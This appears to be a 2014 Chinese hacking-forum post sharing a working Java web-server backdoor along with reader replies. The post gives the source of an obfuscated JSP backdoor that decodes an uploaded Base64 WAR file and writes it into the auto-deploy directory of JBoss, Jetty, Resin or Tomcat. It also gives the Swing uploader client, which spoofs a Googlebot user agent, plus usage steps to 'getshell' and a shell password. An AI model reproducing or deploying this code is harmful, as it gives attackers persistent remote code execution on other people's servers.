Java WebServer 自动部署后门附工具和源码

园长 (你在身边就是缘,缘分写在数据库里面。) | 2014-01-07 19:33

社区发现有人发了一个Jboss的自动部署war的后门:求此后门的利用方法

挺聪明的Server一般都提供了自动部署服务,也就是说只需要把war包放到默认能够自动部署的目录就行了。

POST提交:http://xxx.com/xxx.jsp

参数:

pUBYyDsT=war文件的Basr64编码&oAEICWIo=Test

然后请求http://xxx.com/Test就getshell了。Test是war文件的项目名。

只需简单的改改getProperty的属性值就能够通用到Tomcat等Server.

客户端工具:

Upload_War_后门.jar

iswin.war

Upload War 后门

源码:

private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {
    String war = jTextField3.getText();
    if(war!=null){
        try {
            FileInputStream fis = new FileInputStream(new File(war));
            byte[] b = new byte[1024];
            int n = 0;
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            while((n=fis.read(b))!=-1){
                baos.write(b,0,n);
            }
            String content = new BASE64Encoder().encode(baos.toByteArray());
             fis.close();
            Map<String,String> map = new HashMap<String, String>();
            map.put("oAEICWIo", jTextField2.getText());
            map.put("pUBYyDsT", content);
            Jsoup.connect(jTextField1.getText()).data(map).userAgent("Googlebot/2.1 (+http://www.googlebot.com/bot.html").timeout(30000).post();
             jTextArea1.setText("请求成功...");
        } catch (Exception e) {
            jTextArea1.setText(e.toString());
        }
    }
}

private void jButton2ActionPerformed(java.awt.event.ActionEvent evt) {
    int result = 0;
    String path = null;
    JFileChooser fileChooser = new JFileChooser();
    FileSystemView fsv = FileSystemView.getFileSystemView();
    fileChooser.setCurrentDirectory(fsv.getHomeDirectory());
    fileChooser.setDialogTitle("请选择war文件.");
    fileChooser.setApproveButtonText("确定");
    fileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY);
    result = fileChooser.showOpenDialog(fileChooser);
    if (JFileChooser.APPROVE_OPTION == result) {
        path=fileChooser.getSelectedFile().getPath();
    }
    jTextField3.setText(path);
}

修改后的z7y.jsp后门:

<%@page import="java.io.*,java.util.*,sun.misc.BASE64Decoder"%>
<%!
String getServer(HttpServletRequest request,String name){
    if(name.indexOf("jboss")!=-1){
        return System.getProperty("jboss.server.home.dir")+"/deploy/";
    }else if(name.indexOf("jetty")!=-1){
        return System.getProperty("jetty.home")+"/webapps/";
    }else if(name.indexOf("resin")!=-1){
        return System.getProperty("resin.home")+"/webapps/";
    }
    return System.getProperty("catalina.home")+"/webapps/";
}
%>
<%
String PJdpj = request.getParameter("pUBYyDsT");
if (PJdpj!= null) {
    try {
        String RSVw = getServer(request, application.getServerInfo().toLowerCase()).replaceAll("\\\\", "/")+request.getParameter("oAEICWIo")+".war";
         FileOutputStream twkH = new FileOutputStream(RSVw);
        twkH.write(new BASE64Decoder().decodeBuffer(PJdpj));
        twkH.close();
        String dhkDS = RSVw+ ".war";
        new File(dhkDS).delete();
    } catch (Exception e) {
    }
}
%>

请求:http://localhost:8080/iswin/index.jsp 密码:023

[FROM]:http://p2j.cn/?p=487

[原文地址]

相关内容:

Java WebServer 自动部署后门附工具和源码

求此后门的利用方法,一段另类的 java 后门代码,Jboss 自动部署 war 后门

相关讨论:

1#

xsser (十根阳具有长短!!) | 2014-01-07 19:36

发drops多好

2#

VIP (Fatal error: Call to undefined function getwb() in /data1/www/htdocs/106/wzone/1/index.php on line 10|@齐迹@小胖子@z7y@nauscript|昨晚做梦梦见了一个ecshop注射0day,醒来后忘记在哪了。|预留广告位) | 2014-01-07 19:38

园长的独门秘器

3#

nauscript (@VIP @齐迹 @园长 @ACGT @z7y @小胖子@PX1624) | 2014-01-07 19:38

我擦 那天问你要你没给 发这我先拿走了 哈哈

4#

小黑要低调 | 2014-01-07 20:56

没太看明白,有这权限了,为什么不直接写马?

5#

sky (()()()()()(等级:史上无敌最佳新人白帽子) | 2014-01-07 20:59

淘气的用了2个S+B的名字

6#

x1aoh4i (我只能送你们一句话:"乌云自有千种粒,乌云自有黄金屋,乌云自有颜如玉") | 2014-01-07 21:01

下次我发东西 绝对会带上sky傻逼的名字

7#

luwikes (土豆你个西红柿,番茄你个马铃薯~~~) | 2014-01-08 11:11

Warning: Offset 0 is invalid for MySQL result index 2 in /www/p2j.cn/index.php on line 20

8#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2014-01-08 11:40

@luwikes <font color="red">Warning: Offset 0 is invalid for MySQL result index 2 in /www/p2j.cn/index.php on line 20<!-- dou ni wan --></font>

9#

疯狂 (One day is a day) | 2014-01-08 13:20

x64 jdk7.0 无法运行jar包,这是为什么呢,javaw没反应,我的环境变量没错啊

10#

疯狂 (One day is a day) | 2014-01-08 13:21

@园长 javaw运行没反应,是哪里配置错了

11#

luwikes (土豆你个西红柿,番茄你个马铃薯~~~) | 2014-01-08 13:46

@园长 还以为你哪儿值取错了而且忘了加@

12#

小胖子 (谁知女人心,园长卫生巾。) | 2014-01-08 13:55

园长你又调皮了

13#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2014-01-08 14:31

@疯狂 JDK7的话,直接双击打开jar文件就行了,刚试了下windows下除了打包的时候文件名乱码,没其他问题。